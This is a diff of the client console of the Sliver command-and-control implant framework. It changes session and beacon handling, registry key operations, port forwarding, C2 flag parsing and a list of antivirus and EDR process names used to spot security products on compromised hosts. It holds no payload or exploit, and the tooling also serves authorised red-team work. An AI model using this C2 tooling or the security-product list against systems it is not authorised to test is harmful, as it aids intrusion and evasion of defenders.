client/command/processes/procdump.go

@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
 			return
 		}
 	} else {
-		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
+		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
 		if err != nil {
 			con.PrintErrorf("Error creating file: %s\n", err)
 			return

client/command/processes/ps.go

@@ -35,17 +35,14 @@ import (
 
 var (
 	// Stylizes known processes in the `ps` command
-	knownSecurityTools = map[string][]string{
-		// Process Name -> [Color, Stylized Name]
-		"ccSvcHst.exe":          {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
-		"cb.exe":                {console.Red, "Carbon Black"},                 // Carbon Black
-		"MsMpEng.exe":           {console.Red, "Windows Defender"},             // Windows Defender
-		"smartscreen.exe":       {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
-		"CSFalconService.exe":   {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
-		"CSFalconContainer.exe": {console.Red, "CrowdStrike"},                  // CrowdStrike Falcon Container Security
-		"bdservicehost.exe":     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdagent.exe":           {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
-		"bdredline.exe":         {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+	knownSecurityTools = map[string]string{
+		"ccSvcHst.exe":      console.Red, // SEP
+		"cb.exe":            console.Red, // Carbon Black
+		"MsMpEng.exe":       console.Red, // Windows Defender
+		"smartscreen.exe":   console.Red, // Windows Defender Smart Screen
+		"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
+		"bdagent.exe":       console.Red, // Bitdefender (Total Security)
+		"bdredline.exe":     console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
 	}
 )
 
@@ -71,20 +68,10 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				return
 			}
 			PrintPS(os, ps, false, ctx, con)
-			products := findKnownSecurityProducts(ps)
-			if 0 < len(products) {
-				con.Println()
-				con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
-			}
 		})
 		con.PrintAsyncResponse(ps.Response)
 	} else {
 		PrintPS(os, ps, true, ctx, con)
-		products := findKnownSecurityProducts(ps)
-		if 0 < len(products) {
-			con.Println()
-			con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
-		}
 	}
 }
 
@@ -99,6 +86,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
 
 // PrintPS - Prints the process list
 func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
+
 	pidFilter := ctx.Flags.Int("pid")
 	exeFilter := ctx.Flags.String("exe")
 	ownerFilter := ctx.Flags.String("owner")
@@ -130,36 +118,23 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 		if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
 			continue
 		}
-		row := procRow(tw, proc, cmdLine, con)
-		tw.AppendRow(row)
+		procRow(tw, proc, cmdLine, con)
 	}
 	tw.SortBy([]table.SortBy{
 		{Name: "pid", Mode: table.Asc},
 		{Name: "ppid", Mode: table.Asc},
 	})
-	if !interactive {
-		overflow = true
-	}
+
 	settings.PaginateTable(tw, skipPages, overflow, interactive, con)
 }
 
-func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
-	products := []string{}
-	for _, proc := range ps.Processes {
-		if secTool, ok := knownSecurityTools[proc.Executable]; ok {
-			products = append(products, secTool[1])
-		}
-	}
-	return products
-}
-
 // procRow - Stylizes the process information
-func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
+func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 
 	color := console.Normal
-	if secTool, ok := knownSecurityTools[proc.Executable]; ok {
-		color = secTool[0]
+	if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
+		color = modifyColor
 	}
 	if session != nil && proc.Pid == session.PID {
 		color = console.Green
@@ -221,7 +196,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
 			}
 		}
 	}
-	return row
+	tw.AppendRow(row)
 }
 
 // GetPIDByName - Get a PID by name from the active session

client/command/registry/reg-create.go

@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }
 
-// PrintCreateKey - Print the results of the create key command
+// PrintCreateKey - Print the results of the crate key command
 func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
 	if createKey.Response != nil && createKey.Response.Err != "" {
 		con.PrintErrorf("%s", createKey.Response.Err)

client/command/registry/reg-delete.go

@@ -1,105 +0,0 @@
-package registry
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-	"google.golang.org/protobuf/proto"
-)
-
-// RegDeleteKeyCmd - Remove a Windows registry key
-func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-	targetOS := getOS(session, beacon)
-	if targetOS != "windows" {
-		con.PrintErrorf("Registry operations can only target Windows\n")
-		return
-	}
-
-	hostname := ctx.Flags.String("hostname")
-	hive := ctx.Flags.String("hive")
-	if err := checkHive(hive); err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	regPath := ctx.Args.String("registry-path")
-	if regPath == "" {
-		con.PrintErrorf("You must provide a path\n")
-		return
-	}
-	if strings.Contains(regPath, "/") {
-		regPath = strings.ReplaceAll(regPath, "/", "\\")
-	}
-	pathBaseIdx := strings.LastIndex(regPath, `\`)
-	if pathBaseIdx < 0 {
-		con.PrintErrorf("invalid path: %s", regPath)
-		return
-	}
-	if len(regPath) < pathBaseIdx+1 {
-		con.PrintErrorf("invalid path: %s", regPath)
-		return
-	}
-	finalPath := regPath[:pathBaseIdx]
-	key := regPath[pathBaseIdx+1:]
-
-	deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
-		Hive:     hive,
-		Path:     finalPath,
-		Key:      key,
-		Hostname: hostname,
-		Request:  con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	if deleteKey.Response != nil && deleteKey.Response.Async {
-		con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, deleteKey)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintDeleteKey(deleteKey, finalPath, key, con)
-		})
-		con.PrintAsyncResponse(deleteKey.Response)
-	} else {
-		PrintDeleteKey(deleteKey, finalPath, key, con)
-	}
-}
-
-// PrintDeleteKey - Print the results of the delete key command
-func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
-	if deleteKey.Response != nil && deleteKey.Response.Err != "" {
-		con.PrintErrorf("%s", deleteKey.Response.Err)
-		return
-	}
-	con.PrintInfof("Key removed at %s\\%s", regPath, key)
-}

client/command/sessions/close.go

@@ -1,50 +0,0 @@
-package sessions
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-// CloseSessionCmd - Close an interactive session but do not kill the remote process
-func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-
-	// Get the active session
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		con.PrintErrorf("No active session\n")
-		return
-	}
-
-	// Close the session
-	_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return
-	}
-
-	con.ActiveTarget.Set(nil, nil)
-
-}

client/command/sessions/helpers.go

@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
 		return nil, ErrNoSessions
 	}
 
-	sessionsMap := map[string]*clientpb.Session{}
+	sessionsMap := map[uint32]*clientpb.Session{}
 	for _, session := range sessions.GetSessions() {
 		sessionsMap[session.ID] = session
 	}
 
 	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
 	// to work properly since we rely on the index of the user's selection to find the session in the map
-	var keys []string
+	var keys []int
 	for _, session := range sessions.Sessions {
-		keys = append(keys, session.ID)
+		keys = append(keys, int(session.ID))
 	}
-	sort.Strings(keys)
+	sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
 
 	outputBuf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
 
 	// Column Headers
 	for _, key := range keys {
-		session := sessionsMap[key]
+		session := sessionsMap[uint32(key)]
 		if onlyAlive && session.IsDead {
 			continue
 		}
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
+		fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
 			session.ID,
 			session.Name,
 			session.RemoteAddress,
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
 	// Go from the selected option -> index -> session
 	for index, option := range options {
 		if option == selected {
-			return sessionsMap[keys[index]], nil
+			return sessionsMap[uint32(keys[index])], nil
 		}
 	}
 	return nil, ErrNoSelection

client/command/sessions/interactive.go

@@ -20,7 +20,6 @@ package sessions
 
 import (
 	"context"
-	"net/url"
 	"time"
 
 	"github.com/bishopfox/sliver/client/command/generate"
@@ -43,106 +42,29 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	// Parse C2 Flags
 	c2s := []*clientpb.ImplantC2{}
 
-	mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return
-	}
+	mtlsC2 := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
 	c2s = append(c2s, mtlsC2...)
 
-	wgC2, err := generate.ParseWGc2(ctx.Flags.String("wg"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return
-	}
+	wgC2 := generate.ParseWGc2(ctx.Flags.String("wg"))
 	c2s = append(c2s, wgC2...)
 
-	httpC2, err := generate.ParseHTTPc2(ctx.Flags.String("http"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return
-	}
+	httpC2 := generate.ParseHTTPc2(ctx.Flags.String("http"))
 	c2s = append(c2s, httpC2...)
 
-	dnsC2, err := generate.ParseDNSc2(ctx.Flags.String("dns"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return
-	}
+	dnsC2 := generate.ParseDNSc2(ctx.Flags.String("dns"))
 	c2s = append(c2s, dnsC2...)
 
-	namedPipeC2, err := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return
-	}
+	namedPipeC2 := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
 	c2s = append(c2s, namedPipeC2...)
 
-	tcpPivotC2, err := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
-	if err != nil {
-		con.PrintErrorf("%s\n", err.Error())
-		return
-	}
+	tcpPivotC2 := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
 	c2s = append(c2s, tcpPivotC2...)
 
-	// No flags, parse the current beacon's ActiveC2 instead
 	if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
-		con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
-		c2url, err := url.Parse(beacon.ActiveC2)
-		if err != nil {
-			con.PrintErrorf("%s\n", err.Error())
-			return
-		}
-		switch c2url.Scheme {
-		case "mtls":
-			mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
-			if err != nil {
-				con.PrintErrorf("%s\n", err.Error())
-				return
-			}
-			c2s = append(c2s, mtlsC2...)
-		case "wg":
-			wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
-			if err != nil {
-				con.PrintErrorf("%s\n", err.Error())
-				return
-			}
-			c2s = append(c2s, wgC2...)
-		case "http":
-			httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
-			if err != nil {
-				con.PrintErrorf("%s\n", err.Error())
-				return
-			}
-			c2s = append(c2s, httpC2...)
-		case "dns":
-			dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
-			if err != nil {
-				con.PrintErrorf("%s\n", err.Error())
-				return
-			}
-			c2s = append(c2s, dnsC2...)
-		case "namedpipe":
-			namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
-			if err != nil {
-				con.PrintErrorf("%s\n", err.Error())
-				return
-			}
-			c2s = append(c2s, namedPipeC2...)
-		case "tcppivot":
-			tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
-			if err != nil {
-				con.PrintErrorf("%s\n", err.Error())
-				return
-			}
-			c2s = append(c2s, tcpPivotC2...)
-		default:
-			con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
-			return
-		}
+		con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
+		return
 	}
 
 	openSession := &sliverpb.OpenSession{

client/command/sessions/prune.go

@@ -40,7 +40,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	for _, session := range sessions.GetSessions() {
 		if session.IsDead {
-			con.Printf("Pruning session %s ... ", session.ID)
+			con.Printf("Pruning session #%d ...", session.ID)
 			err = kill.KillSession(session, true, con)
 			if err != nil {
 				con.Printf("failed!\n")

client/command/sessions/sessions.go

@@ -21,7 +21,6 @@ package sessions
 import (
 	"context"
 	"fmt"
-	"strings"
 	"time"
 
 	"github.com/bishopfox/sliver/client/command/kill"
@@ -55,7 +54,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("%s\n", err)
 			}
 			con.Println()
-			con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
+			con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
 		}
 		return
 	}
@@ -69,7 +68,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 					con.PrintErrorf("%s\n", err)
 				}
 				con.Println()
-				con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
+				con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
 			}
 		}
 		return
@@ -91,12 +90,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		session := con.GetSession(interact)
 		if session != nil {
 			con.ActiveTarget.Set(session, nil)
-			con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
+			con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
 		} else {
 			con.PrintErrorf("Invalid session name or session number: %s\n", interact)
 		}
 	} else {
-		sessionsMap := map[string]*clientpb.Session{}
+		sessionsMap := map[uint32]*clientpb.Session{}
 		for _, session := range sessions.GetSessions() {
 			sessionsMap[session.ID] = session
 		}
@@ -109,7 +108,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }
 
 // PrintSessions - Print the current sessions
-func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
+func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.AppendHeader(table.Row{
@@ -123,9 +122,6 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 		"Last Check-in",
 		"Health",
 	})
-	tw.SortBy([]table.SortBy{
-		{Name: "ID", Mode: table.Asc},
-	})
 
 	for _, session := range sessions {
 		color := console.Normal
@@ -143,7 +139,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 			burned = "🔥"
 		}
 		tw.AppendRow(table.Row{
-			fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
+			fmt.Sprintf(color+"%d"+console.Normal, session.ID),
 			fmt.Sprintf(color+"%s"+console.Normal, session.Name),
 			fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
 			fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
@@ -154,11 +150,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 			burned + SessionHealth,
 		})
 	}
+	tw.SortBy([]table.SortBy{
+		{Name: "ID", Mode: table.Asc},
+	})
 
 	con.Printf("%s\n", tw.Render())
 }
-
-// ShortSessionID - Shorten the session ID
-func ShortSessionID(id string) string {
-	return strings.Split(id, "-")[0]
-}

client/command/socks/socks-add.go

@@ -31,8 +31,8 @@ import (
 	"gopkg.in/AlecAivazis/survey.v1"
 )
 
-// SocksStartCmd - Add a new tunneled port forward
-func SocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// SocksAddCmd - Add a new tunneled port forward
+func SocksAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return

client/command/socks/socks-rm.go

@@ -27,18 +27,18 @@ import (
 	"github.com/desertbit/grumble"
 )
 
-// SocksStopCmd - Remove an existing tunneled port forward
-func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// SocksRmCmd - Remove an existing tunneled port forward
+func SocksRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	socksID := ctx.Flags.Int("id")
 	if socksID < 1 {
-		con.PrintErrorf("Must specify a valid socks5 id\n")
+		con.PrintErrorf("Must specify a valid portfwd id\n")
 		return
 	}
 	found := core.SocksProxies.Remove(socksID)
 	if !found {
-		con.PrintErrorf("No socks5 with id %d\n", socksID)
+		con.PrintErrorf("No portfwd with id %d\n", socksID)
 	} else {
-		con.PrintInfof("Removed socks5\n")
+		con.PrintInfof("Removed portfwd\n")
 	}
 
 	// close

client/command/tasks/fetch.go

@@ -559,21 +559,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
 
-	case sliverpb.MsgRegistryDeleteKeyReq:
-		deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
-		err := proto.Unmarshal(task.Request, deleteKeyReq)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-		deleteKey := &sliverpb.RegistryDeleteKey{}
-		err = proto.Unmarshal(task.Response, deleteKey)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-		registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
-
 	case sliverpb.MsgRegistryListValuesReq:
 		listValuesReq := &sliverpb.RegistryListValuesReq{}
 		err := proto.Unmarshal(task.Request, listValuesReq)

client/command/use/sessions.go

@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, err := sessions.SelectSession(false, con)
 	if session != nil {
 		con.ActiveTarget.Set(session, nil)
-		con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
+		con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
 	} else if err != nil {
 		switch err {
 		case sessions.ErrNoSessions:

client/command/use/use.go

@@ -24,6 +24,7 @@ import (
 	"errors"
 	"fmt"
 	"sort"
+	"strconv"
 	"strings"
 	"text/tabwriter"
 
@@ -55,7 +56,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	if session != nil {
 		con.ActiveTarget.Set(session, nil)
-		con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
+		con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
 	} else if beacon != nil {
 		con.ActiveTarget.Set(nil, beacon)
 		con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
@@ -68,9 +69,10 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
 	if err != nil {
 		return nil, nil, err
 	}
+	idNumber, err := strconv.Atoi(id)
 	if err == nil {
 		for _, session := range sessions.Sessions {
-			if strings.HasPrefix(session.ID, id) {
+			if session.ID == uint32(idNumber) {
 				return session, nil, nil
 			}
 		}
@@ -94,15 +96,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
 	if err != nil {
 		return nil, nil, err
 	}
-	sessionsMap := map[string]*clientpb.Session{}
+	sessionsMap := map[uint32]*clientpb.Session{}
 	for _, session := range sessions.GetSessions() {
 		sessionsMap[session.ID] = session
 	}
-	var sessionKeys []string
+	var sessionKeys []int
 	for _, session := range sessions.Sessions {
-		sessionKeys = append(sessionKeys, session.ID)
+		sessionKeys = append(sessionKeys, int(session.ID))
 	}
-	sort.Strings(sessionKeys)
+	sort.Ints(sessionKeys)
 
 	// Get and sort beacons
 	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
@@ -120,7 +122,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
 	sort.Strings(beaconKeys)
 
 	if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
-		return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
+		return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
 	}
 
 	// Render selection table
@@ -128,10 +130,9 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
 
 	for _, key := range sessionKeys {
-		session := sessionsMap[key]
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
-			"SESSION",
-			strings.Split(session.ID, "-")[0],
+		session := sessionsMap[uint32(key)]
+		fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
+			session.ID,
 			session.Name,
 			session.RemoteAddress,
 			session.Hostname,
@@ -141,8 +142,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
 	}
 	for _, key := range beaconKeys {
 		beacon := beaconsMap[key]
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
-			"BEACON",
+		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
 			strings.Split(beacon.ID, "-")[0],
 			beacon.Name,
 			beacon.RemoteAddress,
@@ -167,24 +167,22 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
 	for index, option := range options {
 		if option == selected {
 			if index < len(sessionKeys) {
-				return sessionsMap[sessionKeys[index]], nil, nil
+				return sessionsMap[uint32(sessionKeys[index])], nil, nil
 			}
 			return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
 		}
 	}
 	return nil, nil, nil
 }
-
-// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids
-func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.SliverConsoleClient) (results []string) {
+func Completer(con *console.SliverConsoleClient, prefix string, args []string) (results []string) {
 	sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		return
 	}
 	for _, s := range sessions.Sessions {
-		sid := s.ID
+		sid := fmt.Sprintf("%d", s.ID)
 		if strings.HasPrefix(sid, prefix) {
-			results = append(results, s.ID)
+			results = append(results, fmt.Sprintf("%d", s.ID))
 		}
 	}
 	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})

client/command/websites/websites-add-content.go

@@ -62,7 +62,7 @@ func WebsitesAddContentCmd(ctx *grumble.Context, con *console.SliverConsoleClien
 		con.PrintErrorf("%s", err)
 		return
 	}
-	PrintWebsite(web, con)
+	displayWebsite(web, con)
 }
 
 func webAddDirectory(web *clientpb.WebsiteAddContent, webpath string, contentPath string) {

client/command/websites/websites-rm-content.go

@@ -50,5 +50,5 @@ func WebsitesRmContent(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Failed to remove content %s", err)
 		return
 	}
-	PrintWebsite(web, con)
+	displayWebsite(web, con)
 }

client/command/websites/websites-update-content.go

@@ -39,5 +39,5 @@ func WebsitesUpdateContentCmd(ctx *grumble.Context, con *console.SliverConsoleCl
 		con.PrintErrorf("%s", err)
 		return
 	}
-	PrintWebsite(web, con)
+	displayWebsite(web, con)
 }

client/command/websites/websites.go

@@ -20,14 +20,14 @@ package websites
 
 import (
 	"context"
+	"fmt"
 	"sort"
 	"strings"
+	"text/tabwriter"
 
-	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/jedib0t/go-pretty/v6/table"
 
 	"github.com/desertbit/grumble"
 )
@@ -75,23 +75,21 @@ func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) {
 		return
 	}
 	if 0 < len(website.Contents) {
-		PrintWebsite(website, con)
+		displayWebsite(website, con)
 	} else {
 		con.PrintInfof("No content for '%s'", websiteName)
 	}
 }
 
-// PrintWebsite - Print a website and its contents, paths, etc.
-func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
+func displayWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
 	con.Println(console.Clearln + console.Info + web.Name)
 	con.Println()
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"Path",
-		"Content-type",
-		"Size",
-	})
+	table := tabwriter.NewWriter(con.App.Stdout(), 0, 2, 2, ' ', 0)
+	fmt.Fprintf(table, "Path\tContent-type\tSize\t\n")
+	fmt.Fprintf(table, "%s\t%s\t%s\t\n",
+		strings.Repeat("=", len("Path")),
+		strings.Repeat("=", len("Content-type")),
+		strings.Repeat("=", len("Size")))
 	sortedContents := []*clientpb.WebContent{}
 	for _, content := range web.Contents {
 		sortedContents = append(sortedContents, content)
@@ -100,11 +98,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
 		return sortedContents[i].Path < sortedContents[j].Path
 	})
 	for _, content := range sortedContents {
-		tw.AppendHeader(table.Row{
-			content.Path,
-			content.ContentType,
-			content.Size,
-		})
+		fmt.Fprintf(table, "%s\t%s\t%d\t\n", content.Path, content.ContentType, content.Size)
 	}
-	con.Println(tw.Render())
+	table.Flush()
 }

client/command/wireguard/wg-portfwd-add.go

@@ -50,7 +50,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	portfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
+	pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
 		LocalPort:     int32(localPort),
 		RemoteAddress: remoteAddr,
 		Request:       con.ActiveTarget.Request(ctx),
@@ -61,9 +61,9 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	if portfwdAdd.Response != nil && portfwdAdd.Response.Err != "" {
-		con.PrintErrorf("Error: %s\n", portfwdAdd.Response.Err)
+	if pfwdAdd.Response != nil && pfwdAdd.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", pfwdAdd.Response.Err)
 		return
 	}
-	con.PrintInfof("Port forwarding %s -> %s:%s\n", portfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
+	con.PrintInfof("Port forwarding %s -> %s:%s\n", pfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
 }

client/command/wireguard/wg-portfwd.go

@@ -19,13 +19,15 @@ package wireguard
 */
 
 import (
